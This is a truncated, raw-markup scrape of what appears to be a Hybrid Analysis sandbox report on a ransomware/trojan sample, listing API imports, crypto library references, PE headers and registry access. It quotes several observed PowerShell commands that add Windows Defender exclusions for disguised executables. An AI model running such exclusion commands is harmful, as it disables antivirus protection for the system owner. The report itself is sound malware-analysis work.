24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 8b:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T526,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Ransom.Prometheus.2;Trojan.Uztuby.Generic Sample a8733ea13062… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample a8733ea13062…. Malware family: Ransom.Prometheus.2;Trojan.Uztuby.Generic. Threat score 100/100. 12/25 AV engines flagged this file. 23 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","keywords":["Malicious","Ransom.Prometheus.2;Trojan.Uztuby.Generic","malware analysis","sandbox report","threat intelligence","a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1"],"about":{"@type":"SoftwareApplication","name":"18f5a3194d73e08d7d66b7a3b42568b3.exe","applicationCategory":["peexe","executable","compressed","sfx","rar"],"identifier":"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Ransom.Prometheus.2;Trojan.Uztuby.Generic","antivirusDetections":{"malicious":12,"total":25},"behavioralIndicators":{"malicious":23,"suspicious":23},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T41f7,Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteFileW"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileAttributesW"; Source: "sample.bin"), Found reference to API (Indicator: "SetForegroundWindow"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcessAffinityMask"; Source: "sample.bin"), Found reference to API (Indicator: "GetLocaleInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "GetNumberFormatW"; Source: "sample.bin"), Found reference to API (Indicator: "GetExitCodeProcess"; Source: "sample.bin"), Found reference to API (Indicator: "RtlUnwind"; Source: "sample.bin"), Found reference to API (Indicator: "CreateSemaphoreW"; Source: "sample.bin"), Found reference to API (Indicator: "FlushFileBuffers"; Source: "sample.bin"), Found reference to API (Indicator: "FreeSid"; Source: "sample.bin"), Found reference to API (Indicator: "SetEvent"; Source: "sample.bin"), Found reference to API (Indicator: "SetThreadExecutionState"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "SHGetPathFromIDListW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateWindowExW"; Source: "sample.bin"), Found reference to API (Indicator: "DefWindowProcW"; Source: "sample.bin"), Found reference to API (Indicator: "SetEndOfFile"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryW"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalFree"; Source: "sample.bin"), Found reference to API (Indicator: "LCMapStringEx"; Source: "sample.bin"), Found reference to API (Indicator: "TranslateMessage"; Source: "sample.bin"), Found reference to API (Indicator: "CreateThread"; Source: "sample.bin"), Found reference to API (Indicator: "ShellExecuteExW"; Source: "sample.bin"), Found reference to API (Indicator: "TlsGetValue"; Source: "sample.bin"), Found reference to API (Indicator: "RegQueryValueExW"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleW"; Source: "sample.bin"), Found reference to API (Indicator: "SetStdHandle"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcessId"; Source: "sample.bin"), Found reference to API (Indicator: "DeviceIoControl"; Source: "sample.bin"), Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "RegSetValueExW"; Source: "sample.bin"), Found reference to API (Indicator: "FormatMessageW"; Source: "sample.bin"), Found reference to API (Indicator: "SetFileAttributesW"; Source: "sample.bin"), Found reference to API (Indicator: "RegOpenKeyExW"; Source: "sample.bin"), Found reference to API (Indicator: "GetStartupInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "HeapAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "FlsFree"; Source: "sample.bin"), Found reference to API (Indicator: "DestroyIcon"; Source: "sample.bin"), Found reference to API (Indicator: "FlsAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowPos"; Source: "sample.bin"), Found reference to API (Indicator: "ShowWindow"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteDC"; Source: "sample.bin"), Found reference to API (Indicator: "HeapFree"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemInfo"; Source: "sample.bin"), Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "sample.bin"), Found reference to API (Indicator: "DispatchMessageW"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeSListHead"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteObject"; Source: "sample.bin"), Found reference to API (Indicator: "TlsSetValue"; Source: "sample.bin"), Found reference to API (Indicator: "IsWindowVisible"; Source: "sample.bin"), Found reference to API (Indicator: "SystemTimeToTzSpecificLocalTime"; Source: "sample.bin"), Found reference to API (Indicator: "FindFirstFileExA"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "sample.bin"), Found reference to API (Indicator: "LookupPrivilegeValueW"; Source: "sample.bin"), Found reference to API (Indicator: "GetConsoleMode"; Source: "sample.bin"), Found reference to API (Indicator: "CreateHardLinkW"; Source: "sample.bin"), Found reference to API (Indicator: "FindFirstFileW"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcessHeap"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcAddress"; Source: "sample.bin"), Found reference to API (Indicator: "RaiseException"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFileW"; Source: "sample.bin"), Found reference to API (Indicator: "FlsGetValue"; Source: "sample.bin"), Found reference to API (Indicator: "CryptUnprotectMemory"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "CheckTokenMembership"; Source: "sample.bin"), Found reference to API (Indicator: "GetParent"; Source: "sample.bin"), Found reference to API (Indicator: "SetFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "EncodePointer"; Source: "sample.bin"), Found reference to API (Indicator: "GetTempPathW"; Source: "sample.bin"), Found reference to API (Indicator: "RegCloseKey"; Source: "sample.bin"), Found reference to API (Indicator: "FreeConsole"; Source: "sample.bin"), Found reference to API (Indicator: "CreateCompatibleBitmap"; Source: "sample.bin"), Found reference to API (Indicator: "LeaveCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "sample.bin"), Found reference to API (Indicator: "EnterCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "RemoveDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "WideCharToMultiByte"; Source: "sample.bin"), Found reference to API (Indicator: "SizeofResource"; Source: "sample.bin"), Found reference to API (Indicator: "ResetEvent"; Source: "sample.bin"), Found reference to API (Indicator: "LoadCursorW"; Source: "sample.bin"), Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalLock"; Source: "sample.bin"), Found reference to API (Indicator: "FindClose"; Source: "sample.bin"), Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "UnmapViewOfFile"; Source: "sample.bin"), Found reference to API (Indicator: "SetDefaultDllDirectories"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleExW"; Source: "sample.bin"), Found reference to API (Indicator: "IsWindow"; Source: "sample.bin"), Found reference to API (Indicator: "LocaleNameToLCID"; Source: "sample.bin"), Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "sample.bin"), Found reference to API (Indicator: "wvsprintfW"; Source: "sample.bin"), Found reference to API (Indicator: "GetObjectW"; Source: "sample.bin"), Found reference to API (Indicator: "SetCurrentDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "sample.bin"), Found reference to API (Indicator: "GetTickCount"; Source: "sample.bin"), Found reference to API (Indicator: "UpdateWindow"; Source: "sample.bin"), Found reference to API (Indicator: "VirtualQuery"; Source: "sample.bin"), Found reference to API (Indicator: "AttachConsole"; Source: "sample.bin"), Found reference to API (Indicator: "GetDC"; Source: "sample.bin"), Found reference to API (Indicator: "CreateCompatibleDC"; Source: "sample.bin"), Found reference to API (Indicator: "SHFileOperationW"; Source: "sample.bin"), Found reference to API (Indicator: "SetFilePointer"; Source: "sample.bin"), Found reference to API (Indicator: "TzSpecificLocalTimeToSystemTime"; Source: "sample.bin"), Found reference to API (Indicator: "MapWindowPoints"; Source: "sample.bin"), Found reference to API (Indicator: "OemToCharBuffA"; Source: "sample.bin"), Found reference to API (Indicator: "SetFocus"; Source: "sample.bin"), Found reference to API (Indicator: "GetACP"; Source: "sample.bin"), Found reference to API (Indicator: "GetShortPathNameW"; Source: "sample.bin"), Found reference to API (Indicator: "GetSysColor"; Source: "sample.bin"), Found reference to API (Indicator: "StretchBlt"; Source: "sample.bin"), Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "sample.bin"), Found reference to API (Indicator: "FileTimeToLocalFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "sample.bin"), Found reference to API (Indicator: "DestroyWindow"; Source: "sample.bin"), Found reference to API (Indicator: "SelectObject"; Source: "sample.bin"), Found reference to API (Indicator: "OpenFileMappingW"; Source: "sample.bin"), Found reference to API (Indicator: "IsValidCodePage"; Source: "sample.bin"), Found reference to API (Indicator: "GetTimeFormatW"; Source: "sample.bin"), Found reference to API (Indicator: "SHBrowseForFolderW"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "ExitProcess"; Source: "sample.bin"), Found reference to API (Indicator: "OleInitialize"; Source: "sample.bin"), Found reference to API (Indicator: "SHGetMalloc"; Source: "sample.bin"), Found reference to API (Indicator: "HeapSize"; Source: "sample.bin"), Found reference to API (Indicator: "CharUpperW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFileMappingW"; Source: "sample.bin"), Found reference to API (Indicator: "MapViewOfFile"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentThreadId"; Source: "sample.bin"), Found reference to API (Indicator: "MessageBoxW"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileType"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleFileNameA"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindow"; Source: "sample.bin"), Found reference to API (Indicator: "GetLongPathNameW"; Source: "sample.bin"), Found reference to API (Indicator: "GetCPInfo"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleFileNameW"; Source: "sample.bin"), Found reference to API (Indicator: "IsDebuggerPresent"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcess"; Source: "sample.bin"), Found reference to API (Indicator: "GetClientRect"; Source: "sample.bin"), Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryExW"; Source: "sample.bin"), Found reference to API (Indicator: "TlsAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryExA"; Source: "sample.bin"), Found reference to API (Indicator: "LoadIconW"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "sample.bin"), Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowRect"; Source: "sample.bin"), Found reference to API (Indicator: "FoldStringW"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemTime"; Source: "sample.bin"), Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "sample.bin"), Found reference to API (Indicator: "SetThreadPriority"; Source: "sample.bin"), Found reference to API (Indicator: "GetDeviceCaps"; Source: "sample.bin"), Found reference to API (Indicator: "GetFullPathNameW"; Source: "sample.bin"), Found reference to API (Indicator: "ReleaseDC"; Source: "sample.bin"), Found reference to API (Indicator: "GetConsoleCP"; Source: "sample.bin"), Found reference to API (Indicator: "SetDllDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "CoCreateInstance"; Source: "sample.bin"), Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowTextW"; Source: "sample.bin"), Found reference to API (Indicator: "OleUninitialize"; Source: "sample.bin"), Found reference to API (Indicator: "ReleaseSemaphore"; Source: "sample.bin"), Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "sample.bin"), Found reference to API (Indicator: "TlsFree"; Source: "sample.bin"), Found reference to API (Indicator: "GetStdHandle"; Source: "sample.bin"), Found reference to API (Indicator: "EnableWindow"; Source: "sample.bin"), Found reference to API (Indicator: "GetVersionExW"; Source: "sample.bin"), Found reference to API (Indicator: "PeekMessageW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateEventW"; Source: "sample.bin"), Found reference to API (Indicator: "SHGetFileInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "VirtualProtect"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalUnlock"; Source: "sample.bin"), Found reference to API (Indicator: "GetCommandLineA"; Source: "sample.bin"), Found reference to API (Indicator: "GetCommandLineW"; Source: "sample.bin"), Found reference to API (Indicator: "MoveFileExW"; Source: "sample.bin"), Found reference to API (Indicator: "CompareStringW"; Source: "sample.bin"), Found reference to API (Indicator: "LoadStringW"; Source: "sample.bin"), Found reference to API (Indicator: "WriteFile"; Source: "sample.bin"), Found reference to API (Indicator: "DecodePointer"; Source: "sample.bin"), Found reference to API (Indicator: "FlsSetValue"; Source: "sample.bin"), Found reference to API (Indicator: "Sleep"; Source: "sample.bin"), Found reference to API (Indicator: "CopyRect"; Source: "sample.bin"), Found reference to API (Indicator: "LoadResource"; Source: "sample.bin"), Found reference to API (Indicator: "GetOEMCP"; Source: "sample.bin"), Found reference to API (Indicator: "TerminateProcess"; Source: "sample.bin"), Found reference to API (Indicator: "RegCreateKeyExW"; Source: "sample.bin"), Found reference to API (Indicator: "FreeLibrary"; Source: "sample.bin"), Found reference to API (Indicator: "CreateStreamOnHGlobal"; Source: "sample.bin"), Found reference to API (Indicator: "FindNextFileA"; Source: "sample.bin"), Found reference to API (Indicator: "ReadFile"; Source: "sample.bin"), Found reference to API (Indicator: "LCMapStringW"; Source: "sample.bin"), Found reference to API (Indicator: "FindNextFileW"; Source: "sample.bin"), Found reference to API (Indicator: "OpenProcessToken"; Source: "sample.bin"), Found reference to API (Indicator: "SetFilePointerEx"; Source: "sample.bin"), Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "sample.bin"), Found reference to API (Indicator: "WriteConsoleW"; Source: "sample.bin"), Found reference to API (Indicator: "GetOpenFileNameW"; Source: "sample.bin"), Found reference to API (Indicator: "CryptProtectMemory"; Source: "sample.bin"), Found reference to API (Indicator: "MoveFileW"; Source: "sample.bin"), Found reference to API (Indicator: "SetFileSecurityW"; Source: "sample.bin"), Found reference to API (Indicator: "CLSIDFromString"; Source: "sample.bin"), Found reference to API (Indicator: "GetLastError"; Source: "sample.bin"), Found reference to API (Indicator: "AllocConsole"; Source: "sample.bin"), Found reference to API (Indicator: "LockResource"; Source: "sample.bin"), Found reference to API (Indicator: "GetDateFormatW"; Source: "sample.bin"), Found reference to API (Indicator: "MultiByteToWideChar"; Source: "sample.bin"), Found reference to API (Indicator: "HeapReAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "GetSaveFileNameW"; Source: "sample.bin"), Found reference to API (Indicator: "GetStringTypeW"; Source: "sample.bin"), Found reference to API (Indicator: "SetLastError"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemMetrics"; Source: "sample.bin"), Found reference to API (Indicator: "GetLocalTime"; Source: "sample.bin"), Found reference to API (Indicator: "WaitForSingleObject"; Source: "sample.bin"), Found reference to API (Indicator: "CloseHandle"; Source: "sample.bin"), Found reference to API (Indicator: "FindResourceW"; Source: "sample.bin")26:T721,Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\BlockproviderComponentweb\intoHostDhcp.exe'" (Indicator: "add-mppreference"; Source: "00000000-00005752-00000C47-55428946290") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath '%USERPROFILE%\Oracle\Java\javapath\dllhost.exe'" (Indicator: "add-mppreference"; Source: "00000000-00005752-00000C47-55673424366") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\TorService\tor\pluggable_transports\csrss.exe'" (Indicator: "add-mppreference"; Source: "00000000-00005752-00000C47-56250041666") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\BlockproviderComponentweb\OSPPSVC.exe'" (Indicator: "add-mppreference"; Source: "00000000-00005752-00000C47-57109616072") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR%\PLA\Templates\wininit.exe'" (Indicator: "add-mppreference"; Source: "00000000-00005752-00000C47-57644158982") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\Temp\conhost.exe'" (Indicator: "add-mppreference"; Source: "00000000-00005752-00000C47-59598450950") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR%\L2Schemas\csrss.exe'" (Indicator: "add-mppreference"; Source: "00000000-00005752-00000C47-62588816466") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR%\Media\Quirky\conhost.exe'" (Indicator: "add-mppreference"; Source: "00000000-00005752-00000C47-74042780816") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\BlockproviderComponentweb\conhost.exe'" (Indicator: "add-mppreference"; Source: "00000000-00005752-00000C47-77946921170")27:T72b,"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "LoadResource with parameter {'hModule': '12713984', 'hResInfo': '13120912'}" (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "LoadResource with parameter {'hModule': '12713984', 'hResInfo': '13120608'}" (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "LoadResource with parameter {'hModule': '12713984', 'hResInfo': '13120512'}" (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "LoadResource with parameter {'hModule': '12713984', 'hResInfo': '13120736'}" (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "LoadResource with parameter {'hModule': '1977679872', 'hResInfo': '4457968'}" (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "LoadResource with parameter {'hModule': '1779040256', 'hResInfo': '1779468360'}" (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "LoadResource with parameter {'hModule': '1779040256', 'hResInfo': '1779467896'}" (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "LoadResource with parameter {'hModule': '1779040256', 'hResInfo': '1779468376'}" (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "LoadResource with parameter {'hModule': '1779040256', 'hResInfo': '1779467928'}" (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "LoadResource with parameter {'hModule': '12713984', 'hResInfo': '13120592'}" (UID: 00000000-00005856)28:T1ab8,Found reference to "System.Security.Cryptography.RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.RSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "RSACng"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.DSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "DSACng"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesManaged"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellman"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellmanCng"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsa"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsaCng"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512CryptoServiceProvider"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "SHA384" (Indicator: "SHA384"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384" (Indicator: "SHA384"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng" (Indicator: "SHA384"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "SHA512" (Indicator: "SHA512"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512" (Indicator: "SHA512"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512Cng" (Indicator: "SHA512"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider" (Indicator: "SHA512"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider" (Indicator: "SHA512CryptoServiceProvider"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.HMAC" (Indicator: "HMAC"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.KeyedHashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found reference to "System.Security.Cryptography.KeyedHashAlgorithm" (Indicator: "KeyedHashAlgorithm"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp")29:T7d0,Found PE header "MZ" - Source: "00000000-00001216.00000001.88761.00480000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00001216.00000001.88761.004C0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00001216.00000001.88761.00590000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00001216.00000001.88761.00B20000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00001216.00000001.88761.00B40000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00001216.00000001.88761.00D40000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00001920.00000003.86942.007E0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00001920.00000003.86942.00A40000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00005752.00000001.79458.00600000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00005752.00000001.79458.006F0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00005752.00000001.79458.00710000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00005752.00000001.79458.00D40000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00005752.00000001.79458.03C90000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00005752.00000002.81382.00570000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00005752.00000002.81382.00670000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00005752.00000002.81382.00D10000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00005752.00000002.81382.00D30000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00005752.00000002.81382.00D60000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00005752.00000003.81543.006B0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00005752.00000003.81543.00D80000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00005856.00000000.76747.001BC000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00005856.00000001.76790.001BC000.00000004.mdmp")2a:T1018,"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CTF\TIP\{A028AE76-01B1-46C2-99C4-ACD9858AE02F}\CATEGORY\CATEGORY\{534C48C1-0607-4098-A521-4FC899C73E90}") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: 